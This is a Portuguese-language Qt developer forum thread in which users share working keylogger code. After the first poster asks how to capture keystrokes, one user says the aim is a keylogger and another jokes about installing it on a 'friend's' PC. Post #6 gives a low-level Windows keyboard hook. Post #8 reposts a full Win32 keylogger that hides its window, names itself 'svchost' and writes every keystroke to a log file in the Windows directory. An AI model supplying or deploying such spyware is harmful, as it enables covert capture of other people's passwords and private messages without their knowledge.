Skip to content
  • Categories
  • Recent
  • Tags
  • Popular
  • Users
  • Groups
  • Search
  • Get Qt Extensions
  • Unsolved
Collapse
Brand Logo
  1. Home
  2. International
  3. Portuguese
  4. Eventos do Sistema Operacional
Forum Updated to NodeBB v4.3 + New Features

Eventos do Sistema Operacional

Scheduled Pinned Locked Moved Portuguese
10 Posts 6 Posters 5.4k Views 1 Watching
  • Oldest to Newest
  • Newest to Oldest
  • Most Votes
Reply
  • Reply as topic
Log in to reply
This topic has been deleted. Only users with topic management privileges can see it.
  • R Offline
    R Offline
    Rodrigocg
    wrote on last edited by
    #1

    Existe alguma classe do Qt voltada para capturar eventos do SO?

    por exemplo:

    Saber qual tecla do teclado foi pressionada;
    Obter a coordenada do cursor do mouse;

    Sei que existe a possibilidade de fazer essas duas operações a partir da API windows.h, mas como fazer isso usando somente o Qt?

    desde ja agradeço as possiveis respostas...

    1 Reply Last reply
    0
    • R Offline
      R Offline
      ranger0
      wrote on last edited by
      #2

      Rodrigocg,

      Que eu saiba, não existe classe com esse propósito, porém você tem a opção de reimplementar a função event (QEvent*) em sua classe para manusear os eventos do windows (e de qualquer outro sistema operacional!).

      Veja em http://qt-project.org/doc/qt-4.8/qobject.html#event

      Abraço.

      1 Reply Last reply
      0
      • R Offline
        R Offline
        Rodrigocg
        wrote on last edited by
        #3

        A ideia era fazer um keylogger, mas nao teve jeito, terei que usar a biblioteca windows.h...

        Utilizei um hook para capiturar as teclas digitadas... ta funcionando direitinho em qualquer codificação...

        Quando terminar a parte que grava o buffer com as teclas pressionadas que eu criei eu vou postar aqui...

        1 Reply Last reply
        0
        • R Offline
          R Offline
          Renatosantos
          wrote on last edited by
          #4

          Olha, legal. eu fiz um keylogger bem básico no Qt, só pegava as teclas msm. Mas é melhor fazendo em C/C++ puro. Por que no caso do Qt, se quiser usar o executável gerado tem que ter uma referencia para todas as DLL`s. :/
          (isso no caso de instalar o Key no pc do "amigo") 8)

          Qt Developer.

          "Imagination is more important than knowledge."
          http://twitter.com/Renatos20

          1 Reply Last reply
          0
          • R Offline
            R Offline
            Rodrigocg
            wrote on last edited by
            #5

            Poderia postar o codigo desse keylogger?

            1 Reply Last reply
            0
            • R Offline
              R Offline
              Rodrigocg
              wrote on last edited by
              #6

              Eu Fiz um da seguinte maneira usando a api do windows:

              @#include <QCoreApplication>
              #include <QDebug>
              #include <windows.h>

              HHOOK KeyHook= NULL;

              void UpdateKeyState(BYTE *keystate, int keycode)
              {
              keystate[keycode] = GetKeyState(keycode);
              }

              LRESULT CALLBACK procteclado(int code, WPARAM wparam, LPARAM lparam)
              {
              KBDLLHOOKSTRUCT p = (KBDLLHOOKSTRUCT)lparam;

              if((code == HC_ACTION) && (wparam == WM_KEYDOWN))
              {
                      wchar_t buffer[5];
              
                      BYTE keyboard_state[256];
                      GetKeyboardState(keyboard_state);
                      UpdateKeyState(keyboard_state, VK_SHIFT);
                      UpdateKeyState(keyboard_state, VK_CAPITAL);
                      UpdateKeyState(keyboard_state, VK_CONTROL);
                      UpdateKeyState(keyboard_state, VK_MENU);
              
                      HKL keyboard_layout = GetKeyboardLayout(0);
              
                      char lpszName[0x100] = {0};
              
                      DWORD dwMsg = 1;
                      dwMsg += p->scanCode << 16;
                      dwMsg += p->flags << 24;
              
                      int i = GetKeyNameText(dwMsg, (LPTSTR)lpszName,255);
              
                      int result = ToUnicodeEx(p->vkCode, p->scanCode, keyboard_state, buffer,4,0, keyboard_layout);
                      buffer[4] = L'\0';
              
                      qDebug()<<QString::fromUtf16((ushort*)buffer);
              }
              return CallNextHookEx(0,code,wparam,lparam);
              

              }
              int main(int argc, char *argv[])
              {
              QCoreApplication a(argc, argv);

              KeyHook = SetWindowsHookEx(WH_KEYBOARD_LL, procteclado, NULL, 0);
              if(KeyHook == NULL)
              {
                  qDebug() << "Hook failed";
              }
              
              return a.exec&#40;&#41;;
              

              }@

              e seguida eu fiz uma classe usando esse codigo e funcionou perfeitamente junto com o Qt

              1 Reply Last reply
              0
              • G Offline
                G Offline
                geraldosil.junior
                wrote on last edited by
                #7

                Existe algo semelhante para linux?

                1 Reply Last reply
                0
                • R Offline
                  R Offline
                  ReinaldoJr
                  wrote on last edited by
                  #8

                  Key logger C/C++ para win usando apenas api win32 "fonte aqui":http://www.cplusplus.com/forum/lounge/27569/. O problema de usar Qt para isso é que: ou tem uma licença comercial do Qt para linkar estaticamente; ou vai precisar distribuir no minímo as dlls QtGui e QtCore com o key logger.

                  @
                  #include <fstream>
                  #include <iostream>
                  #include <string>
                  #include <windows.h>

                  #define DEBUG 1

                  #define OUTFILE_NAME "Logs\WinKey.log" /* Output file */
                  #define CLASSNAME "winkey"
                  #define WINDOWTITLE "svchost"

                  char windir[MAX_PATH + 1];
                  HHOOK kbdhook; /* Keyboard hook handle /
                  bool running; /
                  Used in main loop */

                  /**

                  • \brief Called by Windows automagically every time a key is pressed (regardless
                  • of who has focus)
                    */
                    __declspec(dllexport) LRESULT CALLBACK handlekeys(int code, WPARAM wp, LPARAM lp)
                    {
                    if (code == HC_ACTION && (wp == WM_SYSKEYDOWN || wp == WM_KEYDOWN)) {
                    static bool capslock = false;
                    static bool shift = false;
                    char tmp[0xFF] = {0};
                    std::string str;
                    DWORD msg = 1;
                    KBDLLHOOKSTRUCT st_hook = ((KBDLLHOOKSTRUCT)lp);
                    bool printable;

                  /*

                  • Get key name as string
                    */
                    msg += (st_hook.scanCode << 16);
                    msg += (st_hook.flags << 24);
                    GetKeyNameText(msg, tmp, 0xFF);
                    str = std::string(tmp);

                  printable = (str.length() <= 1) ? true : false;

                  /*

                  • Non-printable characters only:
                  • Some of these (namely; newline, space and tab) will be
                  • made into printable characters.
                  • Others are encapsulated in brackets ('[' and ']').
                    /
                    if (!printable) {
                    /

                    * Keynames that change state are handled here.
                    */
                    if (str == "CAPSLOCK")
                    capslock = !capslock;
                    else if (str == "SHIFT")
                    shift = true;

                  /*
                  * Keynames that may become printable characters are
                  * handled here.
                  */
                  if (str == "ENTER") {
                  str = "\n";
                  printable = true;
                  } else if (str == "SPACE") {
                  str = " ";
                  printable = true;
                  } else if (str == "TAB") {
                  str = "\t";
                  printable = true;
                  } else {
                  str = ("[" + str + "]");
                  }
                  }

                  /*

                  • Printable characters only:
                  • If shift is on and capslock is off or shift is off and
                  • capslock is on, make the character uppercase.
                  • If both are off or both are on, the character is lowercase
                    /
                    if (printable) {
                    if (shift == capslock) { /
                    Lowercase /
                    for (size_t i = 0; i < str.length(); ++i)
                    str[i] = tolower(str[i]);
                    } else { /
                    Uppercase */
                    for (size_t i = 0; i < str.length(); ++i) {
                    if (str[i] >= 'A' && str[i] <= 'Z') {
                    str[i] = toupper(str[i]);
                    }
                    }
                    }

                  shift = false;
                  }

                  #ifdef DEBUG
                  std::cout << str;
                  #endif
                  std::string path = std::string(windir) + "\" + OUTFILE_NAME;
                  std::ofstream outfile(path.c_str(), std::ios_base::app);
                  outfile << str;
                  outfile.close();
                  }

                  return CallNextHookEx(kbdhook, code, wp, lp);
                  }

                  /**

                  • \brief Called by DispatchMessage() to handle messages
                  • \param hwnd Window handle
                  • \param msg Message to handle
                  • \param wp
                  • \param lp
                  • \return 0 on success
                    /
                    LRESULT CALLBACK windowprocedure(HWND hwnd, UINT msg, WPARAM wp, LPARAM lp)
                    {
                    switch (msg) {
                    case WM_CLOSE: case WM_DESTROY:
                    running = false;
                    break;
                    default:
                    /
                    Call default message handler */
                    return DefWindowProc(hwnd, msg, wp, lp);
                    }

                  return 0;
                  }

                  int WINAPI WinMain(HINSTANCE thisinstance, HINSTANCE previnstance,
                  LPSTR cmdline, int ncmdshow)
                  {
                  /*

                  • Set up window
                    /
                    HWND hwnd;
                    HWND fgwindow = GetForegroundWindow(); /
                    Current foreground window */
                    MSG msg;
                    WNDCLASSEX windowclass;
                    HINSTANCE modulehandle;

                  windowclass.hInstance = thisinstance;
                  windowclass.lpszClassName = CLASSNAME;
                  windowclass.lpfnWndProc = windowprocedure;
                  windowclass.style = CS_DBLCLKS;
                  windowclass.cbSize = sizeof(WNDCLASSEX);
                  windowclass.hIcon = LoadIcon(NULL, IDI_APPLICATION);
                  windowclass.hIconSm = LoadIcon(NULL, IDI_APPLICATION);
                  windowclass.hCursor = LoadCursor(NULL, IDC_ARROW);
                  windowclass.lpszMenuName = NULL;
                  windowclass.cbClsExtra = 0;
                  windowclass.cbWndExtra = 0;
                  windowclass.hbrBackground = (HBRUSH)COLOR_BACKGROUND;

                  if (!(RegisterClassEx(&windowclass)))
                  return 1;

                  hwnd = CreateWindowEx(NULL, CLASSNAME, WINDOWTITLE, WS_OVERLAPPEDWINDOW,
                  CW_USEDEFAULT, CW_USEDEFAULT, 640, 480, HWND_DESKTOP, NULL,
                  thisinstance, NULL);
                  if (!(hwnd))
                  return 1;

                  /*

                  • Make the window invisible
                    /
                    #ifdef DEBUG
                    /
                  • Debug mode: Make the window visible
                    /
                    ShowWindow(hwnd, SW_SHOW);
                    #else
                    ShowWindow(hwnd, SW_HIDE);
                    #endif
                    UpdateWindow(hwnd);
                    SetForegroundWindow(fgwindow); /
                    Give focus to the previous fg window */

                  /*

                  • Hook keyboard input so we get it too
                    */
                    modulehandle = GetModuleHandle(NULL);
                    kbdhook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)handlekeys, modulehandle, NULL);

                  running = true;

                  GetWindowsDirectory((LPSTR)windir, MAX_PATH);

                  /*

                  • Main loop
                    /
                    while (running) {
                    /
                  • Get messages, dispatch to window procedure
                    /
                    if (!GetMessage(&msg, NULL, 0, 0))
                    running = false; /
                    • This is not a "return" or
                    • "break" so the rest of the loop is
                    • done. This way, we never miss keys
                    • when destroyed but we still exit.
                      */
                      TranslateMessage(&msg);
                      DispatchMessage(&msg);
                      }

                  return 0;
                  }@

                  1 Reply Last reply
                  0
                  • R Offline
                    R Offline
                    Rodrigocg
                    wrote on last edited by
                    #9

                    Obrigado pela resposta, mas já fiz o que eu queria... usei a biblioteca windows.h e um hook / teclado...

                    1 Reply Last reply
                    0
                    • E Offline
                      E Offline
                      Exotic_Devel
                      wrote on last edited by
                      #10

                      Vc ja verificou se o KDE não tem algo do tipo, andei lendo sobre o KDE Framework nos ultimos dias e vi que ele trás muitos recursos que não estão disponiveis no Qt.
                      Ele tem libs de acesso hardware, onde talvez possa existir algo do tipo.

                      1 Reply Last reply
                      0

                      • Login

                      • Login or register to search.
                      • First post
                        Last post
                      0
                      • Categories
                      • Recent
                      • Tags
                      • Popular
                      • Users
                      • Groups
                      • Search
                      • Get Qt Extensions
                      • Unsolved